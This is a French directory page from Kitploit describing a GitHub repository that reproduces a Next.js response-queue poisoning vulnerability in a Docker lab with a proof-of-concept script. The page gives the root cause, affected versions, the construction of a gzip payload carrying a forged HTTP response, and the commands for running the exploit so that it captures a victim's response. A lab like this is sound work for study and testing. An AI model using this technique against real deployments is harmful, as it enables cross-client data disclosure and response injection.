Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/aheybati/cve-2026-119348
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebLabs et Pratique
GitHubaheybati/cve-2026-119348

CVE-2026-119348

Docker dual-lab et PoC différentiel autonome pour CVE-2026-119348, une faille d'empoisonnement de file de réponses par cadrage compressé obsolète dans Next.js auto-hébergé.

Voir le dépôt
2il y a 1 jourPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 La boîte à outils OSINT ultime : graphe d'enquête, notation de confiance, familles d'alias, carte, chronologie et rapports. 49 modules, plus de 400 sites, aucune clé API requise.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Application d'exécution en un clic GhostLock (CVE-2026-43499)

    634
  • 3

    looking-glass

    anonghosty/looking-glass

    Plateforme CSIRT qui ingère les rapports Shadowserver dans MongoDB et les rejoue sous forme de cartes interactives, d'analyses, de constats, d'avis et de tableaux de bord exécutifs.

    417
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer est une plateforme open-source de Gestion des Accès Privilégiés (PAM) qui offre aux équipes DevOps et IT un accès sécurisé et à la demande aux terminaux SSH, RDP, Kubernetes, bases de données et RemoteApp via un navigateur web.

    383
  • 5

    ARTEX

    baarai/artex

    Plateforme autonome de tests d'intrusion multi-agents basée sur des LLM, avec agents planificateur/ouvrier, graphes d'actifs et d'exploration, enregistrement du trafic MITM et retest des vulnérabilités.

    328
  • 6

    SafeLine

    chaitin/safeline

    WAF auto-hébergé et proxy inverse qui filtre le trafic HTTP malveillant, bloque les injections SQL, les XSS et les attaques de robots, avec limitation de débit et chiffrement dynamique HTML/JS.

    288

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-119348 — Empoisonnement de la file de réponses HTTP (cadrage compressé obsolète) dans Next.js auto-hébergé

GHSA : GHSA-pc58-hwjq-p385 CVSS 4.0 : 6.3 (Modéré) — AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N Produit : Vercel Next.js (next), auto-hébergé (next start)

Ce dépôt contient une reproduction complète et déterministe (lab docker + exploit autonome) de la vulnérabilité d'injection et de divulgation de réponses entre clients corrigée dans la version de sécurité de Next.js de novembre 2026. Aucun PoC public n'existait au moment de la construction de ce lab (vérifié le 2026-11-20 : recherche de dépôts/code GitHub pour les identifiants CVE et GHSA → 0 résultat).

Résumé de la vulnérabilité

Le fetch de Node (undici) décompresse de manière transparente un corps content-encoding: gzip mais conserve les en-têtes de réponse d'origine, y compris content-length: <compressed-size>. Lorsqu'une application Next.js auto-hébergée renvoie un tel Response amont récupéré inchangé — depuis un gestionnaire de route App Router, une entrée de cache fetch, ou un middleware Node-runtime — les versions vulnérables de Next transmettent le cadrage compressé obsolète au client tout en diffusant le corps décompressé, plus long :

HTTP/1.1 200 OK
content-encoding: gzip          ← forwarded
content-length: 70              ← framing of the COMPRESSED body (stale)
                                ← body actually sent: 116 decoded bytes
AAAA…A HTTP/1.1 200 OK\r\ncontent-length: 8\r\n\r\ninjected
      └─ 70 bytes ─┘└──────────── 46 bytes of overflow ────────────┘

Node.js écrit des octets de corps au-delà du Content-Length déclaré sans aucune erreur et maintient la connexion keep-alive ouverte. Tout proxy inverse HTTP/1.1 qui met en file d'attente les requêtes pipelinées sur une connexion backend partagée (la précondition nommée par l'avis — par ex. HAProxy http-reuse always, divers proxys basés sur Node.js) démultiplexe les réponses backend strictement selon le framing déclaré. Les octets de débordement sont donc analysés comme la réponse suivante dans la file d'attente :

  • le client placé juste derrière l'attaquant reçoit la réponse forgée par l'attaquant (injection de réponse), et
  • la vraie réponse de la victime est décalée d'un cran et est livrée à la requête suivante de l'attaquant (divulgation inter-clients).

Versions affectées

BrancheVulnérableCorrigée
16.x (Active LTS)>= 16.0.0, <= 16.4.416.4.5
15.x (Maintenance LTS)<= 15.5.2815.5.29

Cause racine (fichier:ligne)

Dans vercel/next.js au tag v16.4.4 :

  • packages/next/src/server/send-response.ts:24-70 — sendResponse() ajoute chaque en-tête du Response du handler (seul x-middleware-set-cookie est ignoré) puis transmet le corps décodé. Les en-têtes content-length / content-encoding / transfer-encoding transmis décrivent le corps encodé qu'undici a déjà décodé.
  • packages/next/src/server/next-server.ts:2009-2012 — la boucle de réponse du middleware n'ignore que content-encoding, en copiant toujours les content-length / transfer-encoding obsolètes.
  • Par contraste, le bac à sable du runtime Edge (packages/next/src/server/web/sandbox/sandbox.ts:23) supprimait déjà ces trois en-têtes — la faille se trouvait dans les chemins du runtime Node.

Correctif (v16.4.5, commit 2842833, 15.x : 848ec29) : les deux chemins de transmission suppriment désormais content-length, content-encoding et transfer-encoding (FORBIDDEN_HEADERS), de sorte que Node.js encadre correctement le corps décodé avec transfer-encoding: chunked.

Préconditions (toutes requises, selon l'avis)

  1. Next.js auto-hébergé (next start) — non affecté sur la plateforme Vercel.
  2. L'application renvoie inchangé un Response récupéré et influencé par l'attaquant (tout modèle de transmission/relais : return fetch(url)), directement ou via le cache fetch.
  3. Un proxy inverse HTTP/1.1 en frontal qui met en file d'attente les requêtes pipelinées sur une connexion backend partagée et fait confiance au framing déclaré par le backend.
  4. L'attaquant contrôle la réponse amont malveillante et peut faire placer ≥ 2 requêtes sur la connexion backend partagée (la sienne + celle de la victime).

Aucune authentification, aucune interaction utilisateur.

Labo / reproduction

lab/
├── app/                 # the victim Next.js app (source shared by both stacks)
│   └── app/
│       ├── proxy/route.ts          # GET /proxy?u=<url>        → return fetch(u, {cache:'no-store'})
│       ├── proxy-cached/route.ts   # GET /proxy-cached?u=<url> → return fetch(u, {next:{revalidate:3600}})
│       ├── api/secret/route.ts     # victim's private JSON (user alice + VICTIM_SECRET…)
│       └── page.tsx                # home page (HOME-PAGE-MARKER)
├── upstream/server.py   # attacker-controlled origin: fixed-point gzip payload
├── edgeproxy/proxy.py   # HTTP/1.1 proxy, ONE shared backend conn, pipelining, FIFO delivery
├── next.Dockerfile      # ARG NEXT_VERSION — 16.4.4 (vuln) vs 16.4.5 (fixed)
├── compose.vuln.yml     # project cvelab_cve-2026-119348_vuln  → 127.0.0.1:{8080,3000,9099}
├── compose.fixed.yml    # project cvelab_cve-2026-119348_fixed → 127.0.0.1:{8081,3001,9098}
├── up.sh / down.sh
└── sanity/              # node-level experiments backing the analysis

La charge utile malveillante en amont (lab/upstream/server.py) : P = 'A'*n + "HTTP/1.1 200 OK\r\ncontent-length: 8\r\n\r\ninjected" avec n choisi de sorte que n == len(gzip(P)) (un point fixe, n = 70 ici, décodé = 116 B). L'application émet donc une réponse dont le Content-Length: 70 déclaré ne couvre que le préfixe A, et les 46 octets de fin constituent une réponse HTTP forgée entièrement formée.

L'exécuter

# 1. start both stacks (builds [email protected] and [email protected] images)
./lab/up.sh

# 2. run the exploit against both
python3 poc.py \
    --url         http://127.0.0.1:8080 \   # proxy → VULNERABLE app (16.4.4)
    --fixed-url   http://127.0.0.1:8081 \   # proxy → PATCHED app    (16.4.5)
    --upstream    http://127.0.0.1:9099 \   # attacker origin (host-mapped port of lab/upstream)
    --next-url    http://127.0.0.1:3000 \   # optional: direct app framing probe
    --next-fixed-url http://127.0.0.1:3001 \
    --out poc_result.json

# NOTE on --upstream: poc.py passes this URL to the victim app as the fetch target,
# but ALSO talks to it directly to plant/verify the payload. From the docker host both
# work with the mapped port above; if you run poc.py from inside the compose network,
# use http://upstream:8080 instead.

# 3. inspect delivery decisions of the pipelining proxy
docker logs cvelab_cve-2026-119348_vuln-proxy

poc.py est autonome (Python 3, bibliothèque standard uniquement). Chaque tour met en file d'attente trois requêtes sur la connexion backend partagée :

#1 attacker  GET /proxy?u=…/gzip?delay=0.4     ← poisoned framing (delay ⇒ deterministic pipelining)
#2 victim    GET /api/secret  (Cookie: session=victim-alice-7f3a9c)
#3 attacker  GET /                                       ← collects the displaced response

Sortie attendue

Télécharger l’outil